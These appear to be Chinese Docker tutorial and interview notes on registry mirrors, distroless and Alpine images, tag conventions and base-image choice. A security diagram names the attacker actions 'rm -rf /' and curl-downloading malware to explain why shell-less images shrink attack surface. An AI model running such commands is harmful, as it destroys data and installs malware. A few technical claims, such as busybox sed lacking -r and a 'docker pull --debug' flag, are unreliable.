apt 源(Debian/Ubuntu)

FROM ubuntu:22.04

# 替换 apt 源为国内镜像
RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list && \
    sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list

# 现在 apt-get 会快很多
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        python3 \
        nginx \
    && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

Alpine 的 apk 源

FROM alpine:3.18

# 替换 apk 源为中科大镜像
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories

RUN apk add --no-cache python3 nginx

pip 源(Python)

FROM python:3.11-slim

# 设置 pip 为清华源
RUN pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple && \
    pip install --no-cache-dir -r requirements.txt

npm 源(Node.js)

FROM node:18-alpine

# 设置 npm 为淘宝源
RUN npm config set registry https://registry.npmmirror.com && \
    npm ci --only=production

Go 模块源

FROM golang:1.20 AS builder

# 设置 Go proxy
ENV GOPROXY=https://goproxy.cn,direct

WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN go build -o myapp

解决方案三:使用国内镜像仓库基础镜像

从国内仓库拉取基础镜像

# 阿里云容器镜像服务(免费)
docker pull registry.cn-hangzhou.aliyuncs.com/google_containers/pause:3.9

# 腾讯云容器镜像服务
docker pull ccr.ccs.tencentyun.com/google-containers/pause:3.9

# DaoCloud 镜像仓库
docker pull daocloud.io/library/ubuntu:22.04

构建镜像时直接从国内仓库引用

# 方式一:直接从国内仓库拉取基础镜像
FROM daocloud.io/library/ubuntu:22.04

# 方式二:使用加速器 + 官方镜像
# 配合 daemon.json 的 registry-mirrors 配置
# Dockerfile 仍然写官方地址,自动走加速器
FROM ubuntu:22.04

解决方案四:自建镜像仓库

搭建 Harbor 私有仓库

# 在内网搭建 Harbor
docker run -d --name harbor \
    -p 8080:80 \
    -p 8443:443 \
    -v /data/harbor:/data \
    goharbor/harbor

# 将常用镜像同步到内网仓库
# 脚本批量同步
docker pull alpine:3.18
docker tag alpine:3.18 registry.internal.com/library/alpine:3.18
docker push registry.internal.com/library/alpine:3.18

使用 docker pull 代理

# 方式一:docker-proxy 开源项目
# https://github.com/wzshiming/docker-proxy
docker run -d --restart=always \
    -p 8080:8080 \
    -e AUTO_MIRROR=true \
    wzshiming/docker-proxy

# 在需要拉取镜像的机器上
docker pull localhost:8080/library/ubuntu:22.04

解决方案五:提前缓存常用镜像

批量拉取常用镜像

#!/bin/bash
# 提前拉取常用镜像到本地
IMAGES=(
    "alpine:3.18"
    "ubuntu:22.04"
    "node:18-alpine"
    "python:3.11-slim"
    "nginx:alpine"
    "golang:1.20"
    "eclipse-temurin:11-jre"
)

for img in "${IMAGES[@]}"; do
    echo "Pulling $img..."
    docker pull $img || echo "Failed: $img"
done

CI/CD 中的缓存策略

# GitLab CI 中缓存基础镜像
variables:
  DOCKER_IMAGE_CACHE: "true"

before_script:
  - docker info | grep "Registry Mirrors"
  # 检查是否有缓存
  - docker images | grep "ubuntu" || docker pull ubuntu:22.04

build:
  script:
    - docker build --cache-from myapp:latest -t myapp:$CI_COMMIT_SHA .

完整的国内优化 Dockerfile 示例

# ====== 国内优化的 Dockerfile ======

# 使用国内镜像源
FROM node:18-alpine

# 1. 替换 apk 源
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories

# 2. 安装系统依赖(走国内源)
RUN apk add --no-cache tini curl

WORKDIR /app

# 3. 替换 npm 源
RUN npm config set registry https://registry.npmmirror.com

# 4. 复制依赖文件
COPY package.json yarn.lock ./

# 5. 安装依赖(走淘宝源)
RUN yarn install --frozen-lockfile

# 6. 复制源代码
COPY . .

EXPOSE 3000
CMD ["node", "app.js"]

多源备选策略

# 使用多个源,一个失败就换另一个
FROM ubuntu:22.04

# 配置多个 apt 源
RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list && \
    sed -i '/security.ubuntu.com/d' /etc/apt/sources.list && \
    echo "deb http://mirrors.aliyun.com/ubuntu/ jammy-security main restricted" >> /etc/apt/sources.list

# 配置多个 pip 源
RUN pip config set global.extra-index-url "https://pypi.tuna.tsinghua.edu.cn/simple https://mirrors.aliyun.com/pypi/simple/"

面试追问

问:镜像加速器的原理是什么?

答:镜像加速器是一个反向代理。当 Docker daemon 请求拉取镜像时,如果加速器上已有缓存,直接从加速器返回;否则加速器代为从 Docker Hub 拉取并缓存。相当于 CDN。

问:如何验证镜像加速器是否生效?

# 拉取一个不存在的镜像,检查拉取路径
docker pull nginx:latest --debug 2>&1 | grep -i mirror
# 应该能看到镜像加速器的地址

总结

加速方式 效果 配置难度 适用场景
镜像加速器 拉取基础镜像快 10-100 倍 ⭐ 简单 所有场景
换软件源 安装包快 10-50 倍 ⭐⭐ 中等 apt/apk/npm/pip
国内仓库 避免被墙 ⭐ 简单 替代 Docker Hub
自建仓库 最快最稳定 ⭐⭐⭐ 较复杂 团队/企业
提前缓存 构建瞬间完成 ⭐ 简单 CI/CD

一句话总结:国内用 Docker 的核心思路就是「该换的源换了,该加的加速加了,该缓存的提前存了」——三步走,告别 Docker 慢。


Distroless 最小化镜像详解

Distroless 最小化镜像详解

什么是 Distroless?

Distroless 是由 Google 维护的一组极致精简的基础镜像,只包含运行应用程序绝对必要的系统组件——没有 shell、没有包管理器、没有常见的 Linux 工具。

# 标准镜像 vs Distroless
ubuntu:22.04               78MB   包含 shell、包管理器、工具
gcr.io/distroless/base     25MB   只有 glibc + 基本文件
gcr.io/distroless/cc       30MB   基础 + C/C++ 运行时
gcr.io/distroless/python3  50MB   包含 Python 3 运行时
gcr.io/distroless/java11   120MB  包含 Java 11 运行时
gcr.io/distroless/static   2MB    只有静态编译的必要文件
graph TB
    subgraph 镜像内容对比
        UBUNTU[Ubuntu 镜像 78MB]
        SLIM[Slim 版本 ~50MB]
        DISTROLESS[Distroless ~25MB]
        ALPINE[Alpine 5MB]
        SCRATCH[Scratch 0MB]
    end

    subgraph Ubuntu 包含
        UBUNTU_CONT[shell ✅
包管理器 ✅
所有工具 ✅
glibc ✅] end subgraph Distroless 包含 DIST_CONT[shell ❌
包管理器 ❌
工具 ❌
glibc ✅] end subgraph Scratch 包含 SCRATCH_CONT[...什么都没有] end

为什么需要 Distroless?

与传统镜像的对比

# ✅ Distroless 镜像 — 只包含运行需要的内容
FROM gcr.io/distroless/base-debian12
COPY myapp /myapp
CMD ["/myapp"]

# ❌ 传统 Ubuntu 镜像 — 包含大量不必要的工具
FROM ubuntu:22.04
COPY myapp /myapp
CMD ["/myapp"]
# 多出来的 53MB:bash、apt、coreutils、perl...

安全性优势

# 攻击面对比
# Ubuntu: 有 shell、有包管理器、有几十个命令
#   如果有 RCE 漏洞 → 攻击者可以执行任意命令
#   可以 apt install 更多工具 → 横向移动

# Distroless: 无 shell、无包管理器、无多余命令
#   即使有 RCE 漏洞 → 攻击者无法执行 shell 命令
#   无法安装额外工具 → 逃逸难度大增
graph TB
    subgraph 攻击场景
        RCE[RCE 漏洞被利用]

        RCE --> UBUNTU[Ubuntu 镜像]
        UBUNTU --> SHELL[有 /bin/sh ✅]
        SHELL --> CMD[执行 rm -rf /]
        SHELL --> CURL[curl 下载恶意软件]
        SHELL --> MOVE[横向到其他容器]

        RCE --> DISTRO[Distroless]
        DISTRO --> NO_SHELL[没有 /bin/sh ❌]
        NO_SHELL --> LIMIT[攻击能力极大受限]
    end

Distroless 镜像系列

官方提供的 Distroless 镜像

# 所有 Distroless 镜像都在 gcr.io/distroless 下

# 基础镜像系列
gcr.io/distroless/static       # 静态编译应用(Go/C Rust 静态)
gcr.io/distroless/base         # 基础 + glibc(动态链接应用)
gcr.io/distroless/cc           # base + C/C++ 运行时库

# 语言特定系列
gcr.io/distroless/python3      # Python 3 运行时
gcr.io/distroless/java11       # Java 11 运行时
gcr.io/distroless/java17       # Java 17 运行时
gcr.io/distroless/nodejs20     # Node.js 20 运行时

# 调试版本(包含 shell 和调试工具)
gcr.io/distroless/base:debug   # base + busybox shell

Distroless vs 其他最小化方案

# 大小对比
镜像类型                大小    shell    包管理器    glibc
────────────────────────────────────────────────────────
scratch                 0MB                     ❌
distroless/static       2MB                     ❌
distroless/base        25MB                     ✅
alpine:3.18             5MB     (ash)   (apk)    (musl)
ubuntu:22.04           78MB                     

实战:使用 Distroless 构建

Go 应用(最合适的场景)

FROM golang:1.20 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -ldflags="-s -w" -o app

# ✅ 使用 distroless/static — 仅 2MB
FROM gcr.io/distroless/static:latest
COPY --from=builder /app/app /app
CMD ["/app"]
# 最终镜像大小
docker images myapp
# myapp           latest    abc123...    8MB   ← 只比 Go 二进制大一点

Python 应用

# 使用 Distroless Python 镜像
FROM python:3.11-slim AS builder
WORKDIR /build
COPY requirements.txt ./
RUN pip install --user -r requirements.txt

FROM gcr.io/distroless/python3-debian12
COPY --from=builder /root/.local /root/.local
COPY app.py /app/
ENV PATH=/root/.local/bin:$PATH
WORKDIR /app
CMD ["app.py"]

Java 应用

FROM eclipse-temurin:11-jdk AS builder
WORKDIR /app
COPY . .
RUN ./gradlew build

FROM gcr.io/distroless/java11-debian12
COPY --from=builder /app/build/libs/app.jar /app.jar
CMD ["/app.jar"]

Distroless 的缺点

缺点一:没有 shell,调试困难

# ❌ 无法 exec 进容器调试
docker exec -it myapp sh
# oci runtime error: exec failed: container_linux.go:...
# bash/sh 不存在!

# ✅ 只能通过日志和指标调试
docker logs myapp
kubectl logs myapp

# Debug 方法
# 1. 使用 :debug 标签
FROM gcr.io/distroless/base:debug
# 包含 busybox shell

# 2. 构建两个版本:debug 和 production
FROM gcr.io/distroless/base${DEBUG:+:debug}
# 通过构建参数切换

缺点二:构建配置较复杂

# 不像 alpine 自带包管理器
# 如果需要额外系统文件,必须手动从其他镜像复制

# 例如:需要 ca-certificates
FROM alpine:latest AS certs
RUN apk add --no-cache ca-certificates

FROM gcr.io/distroless/base
COPY --from=certs /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY myapp /myapp
CMD ["/myapp"]

缺点三:镜像托管在 gcr.io

# gcr.io 在国内访问可能较慢
# 需要自行同步到国内镜像仓库

# 方案一:使用阿里云加速
docker pull registry.cn-hangzhou.aliyuncs.com/google_containers/distroless/base:latest

# 方案二:同步到自己的私有仓库
docker pull gcr.io/distroless/base:latest
docker tag gcr.io/distroless/base:latest registry.internal.com/distroless/base:latest
docker push registry.internal.com/distroless/base:latest

Distroless 的最佳实践

开发环境 vs 生产环境

# 使用构建参数切换
ARG DEBUG=false

FROM golang:1.20 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o app

FROM gcr.io/distroless/static${DEBUG:+-debug}:latest AS final

# 调试版本
FROM final AS debug
# 什么都不需要加,因为 debug 标签已经包含 shell

# 生产版本
FROM gcr.io/distroless/static:latest
COPY --from=builder /app/app /app
CMD ["/app"]
# 构建
docker build --build-arg DEBUG=true -t myapp:debug .
docker build --build-arg DEBUG=false -t myapp:prod .

推荐的选择路径

graph TB
    START[选择运行时镜像] --> Q1{需要 shell 调试?}

    Q1 -->|| ASK_ENV{环境?}
    ASK_ENV -->|开发| DEV[用完整镜像
或 distroless:debug
] ASK_ENV -->|生产| PROD[考虑用 alpine
或 slim
] Q1 -->|| Q2{语言和链接方式?} Q2 -->|Go 静态编译| SCRATCH[scratch
或 distroless/static
] Q2 -->|Go 动态编译<br/>C/C++| BASE[distroless/base
或 distroless/cc
] Q2 -->|Python| PY[distroless/python3] Q2 -->|Java| JAVA[distroless/java] Q2 -->|Node.js| NODE[distroless/nodejs]

面试追问

问:Distroless 和 scratch 比,优势在哪里?

答:Distroless 提供了 glibc、时区文件、SSL 证书、/etc/passwd 等必要的系统文件。scratch 全都没有,需要开发者自己处理这些。Distroless 比 scratch 多 2MB,但省去了大量手动配置工作。

问:Kubernetes 中为什么推荐使用 Distroless 或 Google 的基础镜像?

答:Google 是 Kubernetes 的创建者,了解 K8s 的底层需求。Distroless 在 K8s 环境中经过大量测试,与 K8s 的安全策略(PodSecurityPolicy、Seccomp)兼容性最好。

总结

对比项 Distroless Alpine Ubuntu
大小 2-50MB 5MB 78MB+
含 shell ✅ (ash) ✅ (bash)
含包管理器 ✅ (apk) ✅ (apt)
攻击面 极小
调试难度
兼容性 ✅ glibc ⚠️ musl ✅ glibc

一句话总结:Distroless 是”彻头彻尾的极简主义”——没有 shell、没有包管理器、什么都没有,只有让你的应用能跑起来的最少内容。安全到极致,调试到崩溃。


Alpine 镜像的特点与优缺点分析

Alpine 镜像的特点与优缺点分析

什么是 Alpine Linux?

Alpine Linux 是一个基于 musl libcbusybox 的极简 Linux 发行版,设计哲学是精简、安全、高效。它的 Docker 镜像只有约 5MB,是所有主流 Linux 发行版中最小的。

# Docker Hub 上常用镜像的大小
alpine:3.18           5MB        最小
debian:bookworm-slim  80MB       16 倍
ubuntu:22.04          78MB       15 倍
centos:7              200MB      40 

Alpine 的三大特点

graph TB
    subgraph Alpine 三大特点
        SIZE[5MB 极致小]
        MUSL[musl libc<br/> GNU libc]
        BUSYBOX[busybox<br/>精简命令工具]
    end

    subgraph 带来的影响
        SIZE --> FAST[构建快 拉取快]
        SIZE --> SECURE[攻击面小]
        SIZE --> EFFICIENT[资源占用少]

        MUSL --> COMPAT[兼容性问题<br/>部分软件不兼容]
        MUSL --> BUILD[可能需要<br/>额外编译工作]

        BUSYBOX --> TOOLS[命令不带 GNU 扩展<br/>grep/sed 行为不同]
    end

特点一:极致体积

# Alpine 能这么小的原因:
# 1. musl libc → 比 glibc 小 5 倍
# 2. busybox → 把几十个命令合成一个二进制
# 3. apk 包管理器 → 不用 db 存储元数据
# 4. 默认不装任何非必要软件包

# 对比基础系统大小
alpine:   musl(0.5MB) + busybox(0.5MB) + apk(0.3MB)  5MB
ubuntu:   glibc(5MB) + coreutils(15MB) + apt(10MB) + ...  78MB

特点二:musl libc

Alpine 使用 musl libc 替代常见的 glibc,这是它轻量的关键,也是兼容性问题的根源:

# musl vs glibc 对比
特性            musl              glibc
────────────────────────────────────────────
体积            0.5MB             5MB
性能             轻量           一般
C 标准          严格遵循 POSIX     兼容性强有扩展
线程栈默认大小   128KB             8MB
DNS 解析        简单实现           复杂实现
数学库          musl math         稳定成熟

特点三:busybox 工具集

# Alpine 中许多命令来自 busybox
# 它是 GNU coreutils 的精简替代

# 在 Alpine 中运行
which ls grep sed awk
# /bin/ls → 都是到 busybox 的软链接
# /bin/sh → ash shell (不是 bash)

# busybox 的局限性
grep -P                     # ❌ 不支持 Perl 正则
sed -r                      # ❌ 不支持扩展正则
head -n -3                  # ❌ 不支持负数行号

Alpine 的优点

1. 极致的小体积

# Alpine 基础镜像的应用镜像大小对比

# Node.js 应用
node:18            330MB
node:18-slim       180MB
node:18-alpine     125MB   最小的 Node

# Python 应用
python:3.11        880MB
python:3.11-slim   145MB
python:3.11-alpine  80MB   最小的 Python

# Nginx
nginx:latest       190MB
nginx:alpine       25MB    更可思议小

2. 安全性更高

# Alpine 的 CVE 数量远少于其他发行版
docker scout quick alpine:3.18
# 0 critical, 2 high, 15 medium

docker scout quick ubuntu:22.04
# 1 critical, 8 high, 80 medium

# 原因很简单:东西越少,漏洞越少

3. 构建和部署速度快

# 第一次构建
docker pull alpine:3.18    # ~2 秒
docker pull ubuntu:22.04   # ~10 秒

# 部署
# 5MB 的基础镜像传输几乎是瞬时的
# 在 Kubernetes 中,小镜像的拉取时间优势尤其明显

Alpine 的缺点

1. musl 兼容性问题

问题一:某些 Python 包需要编译 C 扩展

# Alpine 下安装 pandas
FROM python:3.11-alpine
RUN pip install pandas
# ❌ 失败!因为没有 C 编译器

# 需要额外安装编译工具
FROM python:3.11-alpine
RUN apk add --no-cache g++ build-base && \
    pip install pandas && \
    apk del g++ build-base
# 会显著增加构建时间和镜像体积

问题二:DNS 解析行为不同

# glibc 下的 DNS 解析
# 支持 ndots 选项,如 search domain 自动填充

# musl 下的 DNS 解析
# 不实现 ndots,某些域名可能无法解析
# 常见于 Kubernetes 中的服务发现

2. busybox 命令差异

# 如果 Dockerfile 中依赖了 GNU 扩展命令
# 在 Alpine 中可能失败

# 常见差异:
# grep -P → Alpine 不支持
# sed -i → Alpine 可以,但和 GNU 的行为可能不同
# date -d → Alpine 的 date 没有 -d 选项
# ps aux → 输出格式不同

# 一些 shell 脚本在 Alpine 中需要修改才能运行

3. 调试困难

# exec 进到 Alpine 容器中
docker exec -it alpine-container sh
# 看到的是最小化的 ash shell

# 没有 bash、telnet、tcpdump、strace
# 需要手动安装
apk add bash curl tcpdump strace
# 但这会增加镜像大小和攻击面

何时用 Alpine,何时不用?

graph TB
    START[ Alpine] --> Q1{应用语言}

    Q1 -->|Go| GO_USE[ 强烈推荐<br/>静态编译无兼容性问题]
    Q1 -->|Node.js| NODE_Q{有原生模块}
    NODE_Q -->|没有| NODE_USE[ 推荐<br/>但检查 package 兼容性]
    NODE_Q -->|| NODE_CHECK[⚠️ 测试原生模块能否编译]

    Q1 -->|Python| PY_Q{包需要 C 扩展}
    PY_Q -->|不需要或<br/> wheel| PY_USE[ 可以用<br/> slim 可能更稳妥]
    PY_Q -->|需要编译| PY_NODE[⚠️ 建议用 slim<br/>避免编译问题]

    Q1 -->|Java| JAVA{问题较少<br/>JVM 跨平台}
    JAVA --> JAVA_USE[⚠️ 可以但不一定值得<br/>slim 可能更省事]

    Q1 -->|C/C++| CPP[ 不推荐<br/>musl 兼容性风险大]

推荐使用 Alpine 的场景

# 1. Go 静态编译应用 — ✅ 推荐
FROM golang:1.20 AS builder
COPY . .
RUN CGO_ENABLED=0 go build -o app

FROM alpine:3.18
COPY --from=builder /go/app /app
CMD ["/app"]
# 完美!Go 完全不需要 glibc

# 2. Nginx 静态文件服务 — ✅ 推荐
FROM nginx:alpine
# 官方 nginx:alpine 已经优化好

# 3. 纯 Node.js 应用(无原生模块)— ✅ 推荐
FROM node:18-alpine
# 大多数 Node 应用工作良好

不推荐使用 Alpine 的场景

# 1. 涉及大量 C 扩展的 Python 应用 — ❌ 不推荐
# 用 python:3.11-slim 更稳妥

# 2. 需要精确 DNS 行为的应用 — ❌ 不推荐
# musl 的 DNS 可能在 K8s 中引起问题

# 3. 依赖特定 GNU 工具链的应用 — ❌ 不推荐
# 需要 glibc 提供的工具链

Alpine vs Slim 的选择

# 以 Python 为例
python:3.11-alpine    80MB    musl     小但可能有兼容性问题
python:3.11-slim     145MB   glibc    大一些但兼容性好

# 实际部署选择建议:
# - 内部工具:Alpine ✅ 够用
# - 核心业务系统:slim ✅ 更稳妥
# - 对体积要求极高:Alpine ✅
# - 涉及大量依赖:slim ✅

面试追问

问:Alpine 的 apk 包管理器和 Ubuntu 的 apt 有什么不同?

答:apk 更轻量,不需要 apt-get updateapt-get install 分开——直接 apk add --no-cache package 即可。apk 还支持 --no-cache 参数自动跳过缓存,天然适合 Docker 构建。

问:如果必须用 Alpine 但遇到了 C 扩展编译问题怎么办?

答:两种方案:1)在 Alpine 中安装编译工具链(增加镜像体积);2)使用预构建的 wheel(需要 PyPI 有对应的 manylinux wheel)。推荐优先走方案 2。

总结

维度 Alpine 评价
大小 5MB ⭐⭐⭐⭐⭐
构建速度 极快 ⭐⭐⭐⭐⭐
安全性 CVE 极少 ⭐⭐⭐⭐⭐
兼容性 musl 限制 ⭐⭐⭐
调试能力 需要额外安装 ⭐⭐⭐
文档资料 丰富 ⭐⭐⭐⭐

一句话总结:Alpine 是 Docker 世界的经济型小轿车——省油(小)、好停车(轻)、但跑长途(复杂应用)可能不如 SUV(Ubuntu)舒服。


Docker 镜像标签命名规范

Docker 镜像标签命名规范

核心概念

Docker 镜像标签(Tag)是镜像的版本标识,格式为 [仓库/][镜像名]:标签。标签可以指向镜像的特定版本、环境、构建号等信息。

# 镜像标签的基本格式
[registry-host/][namespace/]repository[:tag]

# 示例
myapp:1.0.0                    # 简单格式
node:18-alpine                 # 官方镜像
nginx:1.25.3-alpine-slim       # 详细标签
registry.cn-hangzhou.aliyuncs.com/myteam/myapp:v1.2.3  # 完整格式

标签命名的最佳实践

语义化版本标签(SemVer)

# 版本号标签(强烈推荐)
myapp:1.0.0                    # 完整版本号
myapp:1.0                      # 大版本 + 小版本
myapp:1                        # 主版本号,指向最新的 1.x.x
myapp:latest                   # 最新的稳定版本

# 带补充信息
myapp:1.0.0-alpine             # 版本 + 基础镜像
myapp:1.0.0-slim               # 版本 + 变体
myapp:1.0.0-debug              # 调试版本

环境标签

# 按环境分类
myapp:production               # 生产环境
myapp:staging                  # 预发布环境
myapp:development              # 开发环境

# 更好的做法:环境 + 版本
myapp:production-1.0.0
myapp:staging-1.1.0-beta

CI/CD 构建号标签

# 构建编号(与 CI/CD 系统对接)
myapp:build-1234               # CI 构建号
myapp:1.0.0-build.1234
myapp:git-abc1234              # Git commit hash
myapp:pr-42                    # Pull Request 编号

# 临时构建
myapp:feature-user-auth        # 功能分支
myapp:fix-login-bug            # 修复分支

常见标签模式

graph TB
    subgraph 标签策略
        SEMVER[语义化版本]
        ENV[环境标签]
        BUILD[构建标签]
        DATE[日期标签]
        MUTABLE[可变标签]
        UNIQUE[唯一标签]
    end

    subgraph 示例
        SEMVER --> V1[v1.0.0  稳定引用]
        ENV --> V2[production  环境标识]
        BUILD --> V3[git-abc1234  可追溯]
        DATE --> V4[20240115  时间戳]
        MUTABLE --> V5[latest ⚠️ 会变化]
        UNIQUE --> V6[sha256:xxx  永久不变]
    end

生产环境推荐标签策略

推荐方案:版本 + 环境标签的组合

# 在 CI/CD 中自动生成

# 1. 构建时打多个标签
docker build -t myapp:1.0.0 \
             -t myapp:1.0 \
             -t myapp:1 \
             -t myapp:latest \
             .

# 2. 推送所有标签
docker push myapp:1.0.0
docker push myapp:1.0
docker push myapp:1
docker push myapp:latest

# 3. 部署时使用精确版本
kubectl set image deployment/myapp myapp=myapp:1.0.0

标签策略对比

# ❌ 不好的做法
myapp:latest                   # 无法追溯版本
myapp:1                        # 明天指向的可能不同
myapp:prod                     # 和版本号脱钩
myapp:final                    # 谁最后改的?

# ✅ 好的做法
myapp:1.0.0                    # 精确版本
myapp:git-abc1234              # Git commit 可追溯
myapp:2024-01-15               # 日期可查
myapp:v1.0.0-alpine-slim       # 版本 + 变体清晰

标签的不变性

重要:Tag 是可以移动的

# Tag 不是 immutable 的!
# 你可以将 myapp:latest 从 v1 指向 v2
docker tag myapp:v1 myapp:latest
docker tag myapp:v2 myapp:latest
# 此时 myapp:latest 指向 v2

# 但是通过 Digest 引用是 immutable 的
docker pull myapp@sha256:abc123...
# 这个永远指向同一个镜像
graph LR
    subgraph Tag 是可变的
        TAG_LATEST[myapp:latest]
        V1[myapp:v1 ❌ sha256:xxx]
        V2[myapp:v2 ✅ sha256:yyy]

        TAG_LATEST -->|一开始| V1
        TAG_LATEST -->|更新后| V2
    end

    subgraph Digest 是不可变的
        DIGEST[myapp@sha256:abc]
        IMG[sha256:abc
永远不变
] DIGEST --> IMG end

常见命名约定

官方镜像的标签规则

# 官方镜像通常遵循的命名
:-

# 示例
node:18.18.0-alpine3.18        # Node.js 18.18.0 + Alpine 3.18
node:18-alpine                 # Node.js 18 最新版 + Alpine
node:18-slim                   # Node.js 18 slim 版本
node:lts                       # 最新的 LTS 版本
node:current                   # 最新的当前版本

python:3.11-slim-bookworm      # Python 3.11 + Debian Bookworm slim
python:3.11-slim               # Python 3.11 + slim
python:3-alpine                # Python 3.x + Alpine

nginx:1.25.3-alpine            # Nginx 1.25.3 + Alpine
nginx:1.25                     # Nginx 1.25 最新版
nginx:alpine                   # Nginx 最新版 + Alpine
nginx:latest                   # Nginx 最新稳定版(Debian)

企业级标签规范

# 推荐的内部规范
//:--

# 示例
registry.internal.com/backend/user-service:1.2.3-production-git.abc1234
registry.internal.com/frontend/web-app:2.0.0-staging-build.5678

# 简化版
backend/user-service:1.2.3
backend/user-service:production
frontend/web-app:staging

不推荐的做法

# ❌ 绝对不要用的标签
myapp:latest-only               # 只能通过 latest 引用
myapp:v1                        # 没有 patch 版本
myapp:1.0.0-beta                # beta 版本但不清除什么时候的
myapp:final                     # 什么 final?
myapp:updated                   # 今天更新还是昨天?
myapp:test                      # 什么测试?
myapp:temp                      # 临时到什么时候?

# ❌ 没有标签(用 
myapp                           # 等价于 myapp:latest,但容易被覆盖

# ✅ 清楚明确的标签
myapp:1.0.0                     # 精确版本
myapp:1.0.0-alpine              # 版本 + 变体
myapp:1.0.0-production-build.1234  # 版本 + 环境 + 构建号

自动化标签管理

# CI/CD 自动打标签示例(GitLab CI)

# 基于 Git tag 自动生成 Docker tag
if [[ "$CI_COMMIT_TAG" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
    # Git tag => Docker tag
    VERSION="${CI_COMMIT_TAG#v}"   # v1.0.0 => 1.0.0

    docker build -t myapp:${VERSION} \
                 -t myapp:latest \
                 .
elif [[ "$CI_COMMIT_BRANCH" == "main" ]]; then
    # main 分支 => staging 标签
    docker build -t myapp:staging .
else
    # 功能分支 => 开发标签
    BRANCH_TAG=$(echo "$CI_COMMIT_BRANCH" | sed 's/[^a-zA-Z0-9_-]/-/g')
    docker build -t myapp:dev-${BRANCH_TAG} .
fi

面试追问

问:如何清理不再需要的标签?

# 查看所有标签
docker images myapp

# 删除特定标签(不会删除镜像数据,除非是最后一个引用)
docker image rm myapp:old-tag

# 清理 dangling 镜像(没有标签的镜像)
docker image prune

# Registry 级别的清理
# 需要配合 Registry GC 或者直接删除 Manifest

问:tag 和 digest 哪个更适合部署?

答:生产部署推荐使用 digestmyapp@sha256:xxx),因为 tag 可被覆盖,而 digest 指向不可变的镜像内容。结合 CI/CD,可用 tag 开发,正式部署时解析为 digest。

总结

标签类型 示例 适用场景 稳定性
语义化版本 1.2.3 发布版本 ⭐⭐⭐⭐⭐
最新标签 latest 本地开发 ⭐⭐
构建标签 build.1234 CI/CD ⭐⭐⭐⭐
环境标签 production 环境区分 ⭐⭐⭐
Git 哈希 git-abc1234 可追溯 ⭐⭐⭐⭐⭐
Digest 引用 @sha256:xxx 生产部署 ⭐⭐⭐⭐⭐(不变)

一句话总结:Docker 标签命名要「清晰、唯一、可追溯」——语义化版本 + 构建元信息是最佳实践。


基础镜像选择:构建 Docker 容器化应用的第一步

基础镜像选择:构建 Docker 容器化应用的第一步

概述

基础镜像(Base Image)是 Dockerfile 的起点,FROM 指令决定了你的镜像将基于什么操作系统和运行时环境。选对了基础镜像,你的应用跑得又快又安全;选错了,可能带来安全隐患、体积臃肿、性能下降等问题。

主流基础镜像一览

flowchart TD
    A["选择基础镜像"] --> B["官方镜像"]
    A --> C["发行版镜像"]
    A --> D["特殊镜像"]

    B --> B1["node:18\npython:3.11\ngolang:1.21\n..."]
    C --> C1["ubuntu:22.04 (~77MB)"]
    C --> C2["debian:bookworm-slim (~80MB)"]
    C --> C3["alpine:3.18 (~5MB)"]
    C --> C4["busybox (~4MB)"]

    D --> D1["scratch (0B)"]
    D --> D2["distroless (~15MB)"]
    D --> D3["chainguard/wolfi (~12MB)"]

基础镜像对比表

镜像 大小 包管理器 Shell C 库 安全
ubuntu:22.04 77 MB apt bash glibc 一般
debian:bookworm 120 MB apt bash glibc 一般
debian:bookworm-slim 80 MB apt bash glibc 一般
alpine:3.18 5 MB apk ash musl 较好
busybox 4 MB sh musl/glibc 一般
scratch 0 B 极佳
distroless ~15 MB glibc 极佳
wolfi-base ~12 MB apk glibc 极佳

选择依据

1. 编程语言/运行时

# 语言官方镜像(最省心)
FROM node:18            # Node.js + 完整 OS
FROM python:3.11        # Python + 完整 OS
FROM golang:1.21        # Go 工具链
FROM openjdk:17         # Java JDK
FROM nginx:alpine       # Nginx 服务器
FROM mysql:8.0          # MySQL 数据库

2. 镜像大小要求

# 极致压缩(Go 编译后不需要运行时)
FROM golang:1.21 AS builder
...
FROM scratch
COPY --from=builder /app/server /
CMD ["/server"]

# 需要一些系统工具
FROM alpine:3.18

3. C 库兼容性

这是一个容易踩坑的地方:

# Alpine 使用 musl libc
FROM alpine:3.18
# 某些 Go 应用使用 CGO 时可能不兼容

# 需要完整 glibc 兼容性时
FROM debian:bookworm-slim
# 或使用 distroless(也基于 glibc)
FROM gcr.io/distroless/base-debian12
# 如果 Alpine 上遇到 "not found" 错误,常见原因:
# - 使用了 CGO 编译且依赖 glibc
# - 动态链接了 glibc 库
# 解决方案:静态编译或使用 glibc 基础镜像

4. 安全需求

# 高安全要求:使用最小化镜像
FROM gcr.io/distroless/base-debian12
# 没有 shell、没有包管理器、没有 SUID 二进制
# 攻击面最小化

# 需要 CVE 扫描:定期更新基础镜像
FROM alpine:3.18
# Alpine 的 CVE 量通常远少于 Ubuntu

实战场景选择

场景 1:Go Web 服务

# ✅ 推荐:Scratch 或 Alpine
FROM scratch
COPY --from=builder /app/server /
CMD ["/server"]
# 大小:~8MB
# 安全:攻击面最小

场景 2:Python/Django 应用

# ✅ 推荐:python:slim 或 python:alpine
FROM python:3.11-slim
# 优点:完整 glibc 兼容性
# 大小:~150MB

# 或使用 alpine(需要测试兼容性)
FROM python:3.11-alpine
# 优点:更小
# 缺点:某些 native 包需要编译

场景 3:Java Spring Boot

# ✅ 推荐:eclipse-temurin 或 openjdk slim
FROM eclipse-temurin:17-jre-alpine
# 只包含 JRE,不包含 JDK
# 大小:~170MB

# 或使用 distroless Java
FROM gcr.io/distroless/java17-debian12
# 更安全,没 shell

场景 4:Nginx 静态文件服务

# ✅ 推荐:nginx:alpine
FROM nginx:alpine
# 优点:官方维护、常用、小
# 大小:~25MB

